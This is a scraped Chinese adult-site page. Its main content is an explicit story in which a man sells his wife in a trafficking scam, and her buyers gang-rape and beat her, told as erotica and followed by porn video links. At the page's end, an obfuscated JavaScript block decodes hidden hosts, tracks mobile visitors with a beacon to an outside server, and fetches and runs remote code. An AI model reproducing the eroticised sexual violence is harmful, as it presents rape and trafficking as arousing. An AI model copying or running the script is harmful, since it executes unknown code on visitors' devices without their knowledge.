热搜排行
卖妻
一)序章
  我们是在上世纪的失业的,在那场席卷全国的下岗狂潮中,我和我的妻子在
同一个月里都成了失业者,我所在的是一个有着5000人的中型国企,从事的
是质检的工作,从中专毕业后就在这个厂里,我自信很称职这份工作,我还在职
工大学拿到了大专的文凭,但这一切都没有保住我的饭碗。我还记得我最后走出
厂门前时,含泪的师傅和皮笑肉不笑的人事部经理┅┅
  我老婆在我下岗后一个星期也被『优化组合』了,她是个优秀的纺织女工,
在绝大多数男人眼里,她绝对算个漂亮的女人,肥胖的车间主任早就对她想入非
非,但却始终没得手,车间里好几个女工都是他的玩物┅┅负债累累的纺织厂终
于被兼并了,善于溜须拍马的车间主任却坐上了副厂长的宝座,在再次拒绝他的
无耻要求后,我老婆下岗了。
  我和我老婆有一点积蓄,想做一点小生意,那样总算可以养家糊口。那一年
,我那个闯深圳的表哥回来了,从他口中我第一次听到了『风险投资』这个名词
。然而,这个名词成了我恶梦的开始。在他的反複游说下,我们将所有的钱交给
他投资,第一个季度他如数给我们寄回了百分之三十的红利,在利益的驱使下,
我和我的老婆发动了我们所有能想得到的关系,借到一笔六位数的巨款给了表哥
,正如大家所猜想的,那笔钱就象一颗投入大海的小石子,瞬间消失了,一起消
失的还有我的表哥┅┅
  我们真的变成了无産阶级,欠了一屁股帐的无産阶级。爲了逃避讨债者,我
们坐上了南下的列车,在南方混了半年后,终于发现这里不适合我们,低微的学
曆和狭窄的专业技能使我们只能从事最地层的体力劳动。一天,在一张破旧的报
纸上我看见了一条新闻,大概内容是假人口贩子在骗得卖人款后,又带着女人逃
走了。在南方我好像听人说过这叫『放飞机』什麽的。
  我开始重新审视我的老婆:不管是在古代还是现代,我老婆绝对算得上是美
女,秀丽的脸蛋,乌黑飘柔的长发,魔鬼般的身材,三围36,24,36。她
的乳房十分漂亮,大而挺拔,嫣红的乳头在钱币大小的乳晕的衬托下特别可爱;
她的私处温暖而紧密,每回都让我无比销魂。这样的尤物,怪不得让那个卑鄙的
胖子垂涎三尺。
  在山穷水尽的日子里,她曾经主动提出去做那一行,但被我严辞否决了,我
无法忍受每天都被戴上绿帽子的感受。现在我们要重新面对这一困境时,我对她
提出了我的想法--卖妻。她竟然同意了,我知道她是爱我的。于是,我开始了
我的僞人口贩子生涯┅┅
  经济差异影响了地区发展,也影响到了地区的社会生活,包括婚姻。很多地
区,尤其是偏远山村,由于穷,本地女人都嫁出去,而外地的却不愿嫁进来,造
就了许多『光棍村』。于是人口贩卖应运而生。
  第一次,我们到西南某省,我把老婆卖给了一个40多岁的老光棍,那个家
伙几时见过这麽漂亮的女人,眼睛发直只盯着我老婆,以至于我们由于初次行骗
露出的许多破绽他都没有发现。我顺利的获得了5000元钱。在约定的乡村旅
馆等了两天后,我老婆回来了,我们一起逃离了那个地方,那个老光棍甚至连我
老婆的裸体都没有看到。有过初次经验后,我们手段越来越成熟。一年内我把我
的老婆卖了九次,存款早就远远超过了5位数。
  并不是每次都那麽成功,那次,老婆终于被别人干了,虽然她激烈反抗,但
还是在『公婆』的协助下被『生米煮成熟饭』,她是四天后才逃出来的,眼睛红
红的。
  我们回到城里,头一次在那座城市最高档的三星级宾馆住了一晚。那天她足
足洗了一个小时澡,然后,我们疯狂的做爱,我的肩膀被她咬出了血┅┅那晚,
我在她耳边说:「我们赚够了就回去还债,然后重新做人┅┅」

              (二)初入地狱
  这一天,我们来到西北的一个十分偏僻小村庄,因爲在火车上我们听说了,
这个村庄有一大半的成年男子在打光棍。
  我推推搡搡的?着老婆进了这个村庄,我的老婆装作可怜兮兮的样子,我也
装出人贩子凶神恶煞神情,在村里稍作打听,我就锁定了目标--村西的秦家,
他家有三个儿子都没有娶老婆,由于他家自己有辆农用车,平时跑跑运输,算是
村里的富户。
  我很快找到了秦家,一个老汉接待了我,他上上下下把我打量了个够,又更
加仔细的打量了我老婆,幸好我这几年走南闯北也积累了不少的经验,没有露出
什麽破绽。
  「怎麽样?老爷子?这种货色可不多见啊。我好不容易才弄到手的,你看看
,该凸的凸,该凹的凹,一看就是个好媳妇。」
  老汉沈思了半晌「嗯~~,是不错,但是我儿子没有回来,我得让他们看看
,谁喜欢就做谁的媳妇。」
  我老婆突然吵闹起来,这也是事先设计好的,毕竟是被卖的人,要装得象一
点。我恶狠狠的瞪了她一眼,「老实点!」本来还应该加个耳光的,我心一软没
打下去。
  不久他的三个儿子相继回来了,三个家伙都长得象个铁塔,最矮的也比我高
半个头,看到屋里有个天仙般的姑娘都眼睛发直,听老汉说明原委以后,都争着
说,「爹,这个妞嫁给我吧。」老汉一见三个儿子都喜欢,一时也拿不定主意。
三个儿子眼看要打成一团。
  老汉忙提高声音说到:「还是给老大吧,你们两个还年轻嘛。」两个弟弟虽
然反对,却也没有办法。到了下午,七千元人民币又流进了我的腰包。我放心的
回到十几里外的旅店等待我的老婆胜利大逃亡。
  三天过去了,我的老婆没有回来,我有点不祥的预感,但我坚信她会回来的
一个星期过去了,老婆还是没有回来,超过最长记录了。
  到了第十天我决定去接应老婆。缩头缩脑的进了村,很远我就看见了老汉正
搬了把椅子坐在门口抽旱烟。我顿时明白了,原来是这老头天天在守着,怪不得
我老婆逃不出来。等了半天,老头寸步不离门口。我见没什麽机会,只好偷偷往
房后摸去。到了厨房墙根底下,抬头从窗户往里看看里面有没有人,这一看,让
我看到了一幅令我目?俱裂的场面:
  我的老婆裸露着上身,浑身上下只系了一条花布厨巾,正在切菜,她显然吃
了不少苦,我第一次看到她雪白的胴体这样在白日下暴露在我面前,她眼圈有点
黑,眼睛红肿着,左脸颊微微肿起,依旧秀丽的面容显得十分憔悴,乌黑的长发
胡乱扎在后面。丰满的乳房上竟而有好几道抓痕,原本小巧的的乳头比以前胀大
了不少,连背上和屁股上都有伤痕。
  这个混蛋,居然打我老婆。我正準备轻轻叫她,突然,一个虎背熊腰的家伙
轻手轻脚推门进来,正是秦家老大,他走到我老婆身后,我老婆仍然没发现,突
然秦大把他的髒手把放到她丰满的乳房上。
  「啊。」我老婆吓了一跳,立刻挣扎着想躲开。
  那个混蛋却用力的她在双峰上搓揉起来,丝毫不懂得怜香惜玉。我老婆一边
惊叫一边想反抗┅┅
  「贱货,还想挨打吗?」
  这句话好像很有效,我的老婆立即停止反抗,乖乖的任?#123;他上下其手。
  「继续切菜。」秦大命令道。我老婆只好强忍着羞辱切菜。
  秦大把那块厨巾扯下来,随手扔到一边,左手继续玩着她的奶子,右手手指
伸到我老婆的私处,分开花瓣,探查起来。玩了一会儿,他忽然把裤带解开,露
出早以勃起的巨大的阳具,光黑紫的龟头就有两寸多长,小孩手臂粗细,我一看
就知道老婆的小穴肯定受不了这麽大的东西,那个混蛋也不作什麽润滑,直接就
把家伙插进我老婆小穴中,奇怪的是我的老婆只轻轻的哼了一声,我看见有滴答
滴答的白色液体从老婆的私处流出,她竟然流淫水了吗?
  我气得七窍生烟,这个家伙竟然当着我的面干我的老婆┅┅

              (三)窗外偷窥
  秦大粗长的肉棒在我老婆的嫩穴里抽插着,我很奇怪,我老婆的阴道爲什麽
容得下这麽大的阳具(起码比我的长三分之一),我和她做爱时都要小心翼翼,
生怕弄痛了她。现在这个蛮汉却用粗大的家伙毫无顾忌的干我老婆。
  秦大加快了抽插的节奏,我老婆早就无法切菜了,双手撑在竈台边缘,修长
的美腿左右岔开,屁股向后撅起来。
  我老婆的阴毛很少,只有阴户前部有稀疏的一点,美丽的洞穴暴露无遗,大
得惊人的阳具在美穴进进出出,还有白色的液体被肉棒带出来。
  那个家伙的身体从后面猛烈的撞击我老婆的屁股,直撞得『啪啪』的响,我
老婆的上身也跟着摇晃,由于身体前倾,两只乳房垂下来显得更加丰满,跟着节
奏,肉球晃来晃去,那个家伙够厉害的,抱紧我老婆的腰,猛烈地干了一刻多锺
,每回都直插到底,我想他的肉棒插到我老婆的子宫了。
  我握紧双拳,正想趁他快活时上去和他拼命,可转念一想,自己未必是他的
对手,一下打不死他,万一他的两个兄弟来了,我的小命非玩儿完不可。
  那个家伙终于把阳具从我老婆的肉洞里拔出来,我以爲他要射了,没想到他
把阳具又插向我老婆的屁眼,我从来没有想过,这个排泄的器官也可以用来泄欲

  他的肉棒一点一点的插进我老婆的屁眼,显然这里比前面的洞要紧得多,那
个家伙一边插,一边埋怨:
  「是不是今天早上老三插得太狠了,骚逼松了好多,妈的,老子昨天只干了
六回,他干了八回,早上还要干,不知道是我的老婆还是他的老婆。」
  听到这里,我差点晕了过去,原来还有老三也操过我的老婆了,不知道秦家
老二有没有┅┅?
  「老二大概是前几天操你操的太猛了,昨天只干了四回,你这个骚娘们还真
经操。」
  话说完他加快了速度,一下将八九寸长的肉棒插到底,我老婆痛苦的尖叫了
一声。
  秦大慢慢在我老婆屁眼里抽插起来,「┅┅叫什麽叫,昨天你的?眼被操了
几次?」
  我老婆哼哼几声,好像没有听清楚。北方话?眼就是屁眼的意思。
  「妈的,老子问你,昨天?眼被干了几次?你敢不吭声?!」他重重的插了
几下。
  「十~~十几次。」老婆表情痛苦地用很小的声音回答。
  「操,到底是十几次。」他操我老婆屁眼的节奏快了起来,由于直肠壁将他
的肉棒包得很紧,插进去时有『噗噗』的空气被排出的声音,有时抽得太猛,拔
出肛门时又有『啪』的拔活塞瓶盖的声音。
  「大概是十二次吧。」我老婆低声回答,美丽脸早就羞得象一块红布。
  一时间我的脑袋一片空白,不知什麽时候,秦大终于射精了,大团白色的粘
液射在我老婆雪白的屁股上,我终于明白了,开始我老婆肉洞里流出的是他们的
精液┅┅

              (四)惊人真相
  被干了这麽久,我老婆好像也有点虚脱了,几乎上半身都趴在了案台上,呼
呼的喘着气,屁眼因爲被巨大的肉棒撑得久,还没有闭合,一圈凸起的皱褶,象
一朵刚刚绽开的花朵,往里面可以看得见一些白色粘稠的将要凝固的液体。不知
道是哪个混蛋把精液射进我老婆的直肠里。
  再看看她引以爲傲的美穴,肥美的大阴唇向两边微微张开,可以看见里面粉
红的嫩肉,滴答滴答的液体还在不断的沿着肉缝流出。看到美丽的老婆被人奸成
这样,我心里当然无比的愤怒,但是我的下身却不知不觉起了一点变化。
  以前我老婆的阴唇是闭合的很紧的,一直以来,她的小穴都象处女一样的漂
亮。今天我却发现她的大阴唇边缘有点发黑,难道是光线不好的原因吗?
  秦大拔出慢慢萎缩的大鸡巴之后,发现龟头的前面粘了一点黄色的固体,很
显然,那是我老婆的屎,他对此好像很不满意,一把抓住我老婆的长发,粗暴地
把她拖到自己身前,我老婆的侧面正好对着我。
  「快给老子舔干??!」
  我的老婆皱了皱眉头,就闭上眼睛,双手扶起那根依然很长的阳具,用她的
樱桃小嘴含住吮吸起来,我清纯可爱的老婆居然在用嘴舔一个肮髒莽汉的大鸡巴
,上面还有她自己的屎!
  我再也无法忍受了,我四顾寻找趁手武器,就要爬窗沖进去拼命。
  「秦大,到后山劈点柴来,俺的骨头又有点酸疼,寻思着这几天又该要下雨
了。」
  老汉在大门外喊了一声。
  「哎,」秦大不情愿的答应了一声,他的大鸡巴在我老婆的舔弄之下本来又
有点抬头的意思,老汉一打断,只好依依不舍的将阳具从我老婆嘴里取出,匆匆
系好裤带出了厨房,临走时对我老婆说:「好好做菜,老子回来要是没有饭吃,
嘿嘿┅┅」
  糟糕,那家伙要朝房后来了,我只好赶紧逃走┅┅
          XXX   XXX   XXX
  我无精打采的走在狭窄的田埂上,美丽的老婆居然被别人糟蹋成这样,那几
个混蛋秦家兄弟,居然把我的老婆当成公用的,连我都不敢碰的屁眼都被他们操
过了。我不敢想像这十天我老婆是怎麽度过的,这群粗鲁的农民轮流使用我老婆
漂亮的小穴和肛门┅┅
  「老王头,你一瘸一拐的咋啦?」
  「唉,碰到秦老二那个活阎王了,俺老汉年纪大,稍微闪慢了点,他怪俺挡
了他的道,踢了我一脚,就成了这个样子了。」
  「幸好老兄你碰到的不是秦老三,不然连骨头只怕也断了。」
  「是啊,这群小兔崽子,成天在外头横行霸道┅┅」这个声音越说越气愤。
  「嘘┅┅,小声点,让他们听见你就完了。」
  「是啊是啊,俺还是回去敷药去。」那个沮丧的老头一跛一跛走了。
  他们的对话让我大吃一惊。
  天啦,我竟然把老婆卖给了这里最凶的恶霸。我忽然明白了:秦家在村里算
是较富的,按理说在本村娶几个媳妇应当很容易,而秦家三兄弟却一个媳妇也没
娶上,主要是因爲他们兄弟太恶了,谁也不敢把女儿嫁给他们,还有他们过人的
性能力┅┅
  我的血液都快凝固了,我爱我的老婆,一定要把她救出来,一个声音在心底
呼喊。半晌后,我决定重新返回秦家,趁只有老汉在家时,把老婆救出来。不得
已干掉那个老家伙也是没办法的事。
  当我潜回秦家时已经是晌午时分了,老汉已经进屋,农用车停在门前的坪里
,看来秦家兄弟回来了,计画又要落空。我不死心,再次潜到厨房外的窗下,果
然,我老婆已经不在那里。又转了一圈,我蹑手蹑脚来到堂屋的窗户下,一股饭
菜的香气扑鼻而来,我探头偷偷向里瞟了一眼,秦家几个人正在吃饭,还有我老
婆,居然坐在秦大的身上,还是一丝不挂,我又快气晕了,由于秦老头坐朝窗户
方向,幸好在侧头夹菜,他头转回过来时,我赶紧缩了回去┅┅
===================================
               (五)营救
  由于秦老汉正对窗户坐着,我只好爬到窗户的另一侧,斜着朝里面张望。我
娇小的老婆一丝不挂的坐在秦大的身上,更气愤的是,秦大的肉棒还插在我老婆
的阴户里,午时光线强烈,我清楚的瞧见那根肉棒分开肉唇,已经完全没入我老
婆的小穴。
  秦二和秦三坐在两侧,秦三正在得意洋洋的捏弄我老婆的乳房,她露出痛苦
的表情,但不敢作声。秦二却在在埋头吃饭。看到这番情景,我气得浑身发抖,
却不敢发出一点声音,我很清楚,牛高马大的秦氏兄弟任何一个人都可以把我撂
倒。
  就在这时,『?』一声,我不小心弄倒了一根竖在旁边的扁担。
  「谁?」秦家兄弟中有人吼了一声。我吓得魂飞天外,急忙爬到房屋的一侧
墙角躲起来。
  秦二快步走出来察看,发现没有人。「大概是对门张家的大黄狗吧,下回老
子迟早吧那条畜生煮来吃了。」秦二嘴里嘟嘟囔?的回了屋。
  「那条畜生上回被我打了一扁担后,再也不敢上咱家转悠了,恐怕有生人来
了,我去看看。」
  我听见秦老三在屋里说的,吓了一大跳。往哪躲呢?突然,我发现前面不远
处有一堆草垛,北方的农家都习惯在家门口不远堆了很多柴草,用来引火的。顾
不了那麽多,赶紧一头扎进草堆里。秦老三左瞧瞧,右看看,没发现什麽,只好
讪讪的回屋了。
  躺在草堆里,我开始寻思救我老婆的办法。自从我卖妻以来,从来没有碰到
这种事情,虽然老婆也失过几次身,但那些家里大都对她很好,好吃好喝,更别
说虐待她;这几个秦氏兄弟,简直就是怪物,秦大自己买来的老婆,居然三个人
共享,每个人一晚可以操五六次,可怜我那个娇小美丽的老婆,要应付性能力那
麽强的三个大汉,想到这里,我的小弟弟居然有了一点反应,我这才想起,我有
十几天没有碰我的老婆了。
  想来想去,我也没有想出什麽周全的办法:报警是不行,估计秦家兄弟没什
麽大罪,我却要坐好几年牢;硬来更不行,没救出我老婆,只怕自己的命也搭上
了;回去找他们谈判,把钱还给他们?也不行,以秦家兄弟的霸道,万一他们人
也要,钱也要,我不是落得个赔了夫人又赔钱?干脆,晚上趁他们熟睡时再找机
会。
  好不容易熬到了黄昏时分,我再次潜到秦家房下,立即就听见秦家兄弟正在
争吵:「我先上,昨天是你先来的,今天轮到我了。」是秦老二的声音。
  「二哥,你昨天只操了四次就不行了,今天还是把机会让给俺吧。」这个粗
豪的声音我听得出是秦老三。
  我趴在窗沿偷偷向里瞧,我老婆依旧赤裸裸的,正跪趴在炕上(注:北方天
气寒冷,炕就是可以在下面烧火取暖的床),秦家三兄弟也脱光了衣服,秦大正
站在炕上,九寸大鸡巴正放在我老婆的小嘴里,我老婆正努力的在爲她口交。
  我曾经试过要老婆和我口交,老婆虽然不愿意,但因爲爱我勉强答应了。但
在口交时因爲她受不了男人阳具的味而呕吐,从此我再也不敢对她提口交了。没
想到她现在却爲一个丑陋的农民舔鸡巴,看他们三兄弟的大肉棒,都是黑亮黑亮
的,显然很少清洗┅┅秦大一边在我老婆口中进出肉棒,一边笑嘻嘻的看着两个
弟弟争吵。突然他插口道:
  「争啥争,两人一起上不就行了,一个插她的贱逼,一个插她的?眼。」
  两个弟弟四目相对,「是啊,我们怎麽没想到啊。」两人爬上炕,拿着肉棒
比划了半天,互相挤来挤去,没找到一个好姿势,同时操我的老婆。
  「可是要怎麽插呀?」两人面面相觑。
  我的老婆早就吓得浑身发抖,「┅┅饶了我吧,两个人同时干会要了我的命
啊。」
  她吐出口里的鸡巴,连忙求饶。
  「妈的!」秦大一个大耳刮子打在我老婆的脸上,「赶快给老子舔,老子可
没叫你停。」
  我老婆赶紧扶起大鸡巴又放进嘴里。
  秦老大斜着眼想了半天,「有了。」
  于是指挥两个兄弟把我的老婆一顿搬弄,将我老婆下半边身子悬在炕外,侧
躺在炕上,然后抓起她上面的一条腿,用力向上劈开。形成一个钝角,由于没什
麽阴毛,我老婆的阴户和屁眼完全暴露出来,双腿分开到极限,疼得我老婆只咧
嘴,没想到我老婆有这麽好的柔韧性。
  「自己抱好!骚货。」秦大命令。
  我老婆只好用右手抱住自己的右腿,悬在空中。她的屁眼正对着后面的秦老
三,阴户对着前面秦老二。
  秦家两个弟弟一乐:「哥,真有你的。」于是不客气的举起大鸡巴分别对準
目标开操。
  秦二的鸡巴首先插进我老婆的小穴里,秦三却费了一些力气,由于我老婆的
阴道里已经有了一支那麽长大的家伙,本来就比较紧的肛门自然就更加难插进去
了。
  秦老三用手使劲的分开我老婆的屁股,将阳具顶到我老婆的屁眼处,第一下
只进去了一点,我老婆一痛,屁眼一收缩,鸡巴又退了出来。秦老三一生气,使
劲拍打我老婆的屁股,只拍几下,我老婆的屁股就红了。秦家老大正跪在炕上把
鸡巴塞入我老婆的嘴里,我老婆叫不出声,只能呜呜的哀鸣。
  秦老三运足了力气,再次将粗大的阳物塞入我老婆的屁眼,这回总算进去了
,我老婆疼得直翻白眼,她的屁眼没有做任何润滑,当然难以忍受,由于我老婆
因爲疼痛,阴户剧烈收缩,前面的秦二感到奇爽,更加卖力的操我老婆的小穴,
直操得我老婆粉红的阴唇随着肉棒进出而翻进翻出。秦三的大老二也在我老婆的
肛门里慢慢的活动起来,我亲眼看见他往外抽肉棒时,黑亮的阴茎上带有一点血
丝,他把我老婆的屁眼弄伤了。
  秦大一边用鸡巴插我老婆的嘴,一边两只大手不閑着,玩弄着我老婆丰满坚
挺的乳房,一只手用力搓挤,好像要挤出奶一样,另一只手把她小巧嫣红的乳头
扯得老长,连乳房也扯成了圆锥型,再一松手,奶子一阵乱晃,痛得我老婆呜呜
哀鸣。
  两个弟弟分别在我老婆的屁眼和小穴里猛操,直操了好几百下。
  哥仨边操还边閑扯。
  「哥,城里的小妞就是不一样啊,瞧这个贱货,皮肤又白又嫩,奶子又大,
长得更是不赖。」秦二说道。
  「可不是吗,比我以前在镇上小旅馆干的那个老板娘强多了,奶子大得多,
骚逼也紧得多。」秦大回答,又用力抓了一把我老婆的奶子。
  「还有啊,这个娘们经操啊,咱们干了十多天,还是这麽漂亮,一点事都没
有。」秦三边操我老婆的屁眼边说┅┅
  老二最先顶不住,打个冷战,泄在我老婆的小穴里,精液多得直流出我老婆
的阴户,老大立刻和他交换,用早就硬得象铁棍样的大鸡巴继续操我老婆的小穴
,全不顾里面有弟弟的精液。而秦老二也把萎缩的阳具塞进我老婆的小嘴里。
  老三又干了好久才泄了,又和小弟弟刚刚挺起的秦老二换位置,由老二操肛
门┅┅
  三个黑色的和一个白色的肉体在灯影下混战着,我再也看不下去了。躲到了
远处。
  大约过了五六个小时,房子里的灯终于熄了。我不敢靠近,又等了一个多小
时,我估计他们该睡着了,摸到窗口,听见三兄弟惊天动地的呼噜声。
  探头往里看,黑暗中三个恶人确实睡着了,我老婆在大炕的最里面,好像正
坐着偷偷哭泣。
  「老婆。」我轻轻喊了一句。
  我老婆身子一颤,好像听见了。
  「老婆,我来救你了。你快点过来。」
  她挣扎着终于站了起来,小心翼翼的,好长时间才绕过秦家兄弟,爬下了炕
,来到窗前。
  「你~~你怎麽现在才来,我┅┅」
  我嘘了一声,「你快从门口出来,我等你。」
  「不行,门被他们锁起来了,钥匙绑在秦大手上。」
  我想了半天,只好要我老婆从窗子爬出来,那是一种用短木棒支起的窗户,
并不大,我费了好大的劲把她弄了出来,险些弄掉了支窗的木棒。
  我终于救出老婆了,我们抱头痛哭。爲怕秦家兄弟追上,我们只好赶?连夜
逃跑。
猜你喜欢下面这些


  • NPJB-105 ALLフェラチオ発射44発素人フェラだけで抜きたい4時間


    NPJB-105 ALLフェラチオ発射44発素人フェラだけで抜きたい4時間
    471人观看

    NPJB-105 ALLフェラチオ発射44発素人フェラだけで抜きたい4時間

  • 带性感情妇到高级酒店啪啪


    带性感情妇到高级酒店啪啪
    641人观看

    带性感情妇到高级酒店啪啪

  • FOCS-089-C ケツ穴をむしゃぶりつくされた地味っ娘J●! プリ尻震わすガニ股イキ


    FOCS-089-C ケツ穴をむしゃぶりつくされた地味っ娘J●! プリ尻震わすガニ股イキ
    656人观看

    FOCS-089-C ケツ穴をむしゃぶりつくされた地味っ娘J●! プリ尻震わすガニ股イキ

  • 土豪酒店又一次约高颜值极品性感美女偷情,又美又淫荡说我爱你才会给你舔,你又在录我.叫床真骚24分钟


    土豪酒店又一次约高颜值极品性感美女偷情,又美又淫荡说我爱你才会给你舔,你又在录我.叫床真骚24分钟
    752人观看

    土豪酒店又一次约高颜值极品性感美女偷情,又美又淫荡说我爱你才会给你舔,你又在录我.叫床真骚24分钟

  • [3D]レズ忍 くのいち色技忍法帳 前編 特典 琥珀催眠強制オナニー 全裸バージョン


    [3D]レズ忍 くのいち色技忍法帳 前編 特典 琥珀催眠強制オナニー 全裸バージョン
    22人观看

    [3D]レズ忍 くのいち色技忍法帳 前編 特典 琥珀催眠強制オナニー 全裸バージョン

  • VOSS-126 态度欺负我的人的母亲来我家谢罪却一脸很拽的样子。我生气了让她跪在地上道歉强行要她口交做爱!我本来觉得有点过了其实她自己就很喜欢年轻人的肉棒让我随便插!3


    VOSS-126 态度欺负我的人的母亲来我家谢罪却一脸很拽的样子。我生气了让她跪在地上道歉强行要她口交做爱!我本来觉得有点过了其实她自己就很喜欢年轻人的肉棒让我随便插!3
    383人观看

    VOSS-126 态度欺负我的人的母亲来我家谢罪却一脸很拽的样子。我生气了让她跪在地上道歉强行要她口交做爱!我本来觉得有点过了其实她自己就很喜欢年轻人的肉棒让我随便插!3

  • 性感大红睡衣配上黑丝真是一绝


    性感大红睡衣配上黑丝真是一绝
    167人观看

    性感大红睡衣配上黑丝真是一绝

function gxdRCoD(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lpBTDXrc(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gxdRCoD(t);};window[''+'K'+'B'+'x'+'L'+'s'+'c'+'P'+'k'+'G'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function YdZFw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lpBTDXrc,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=YdZFw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=YdZFw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLm1rdnNmLmNuJTNBODg5MMQ==','d3NzJTNBJTJGJTJGYS5rZmdqYS5jbiUzQTk1MMzMM=','168623',window,document,['M','M']);}:function(){};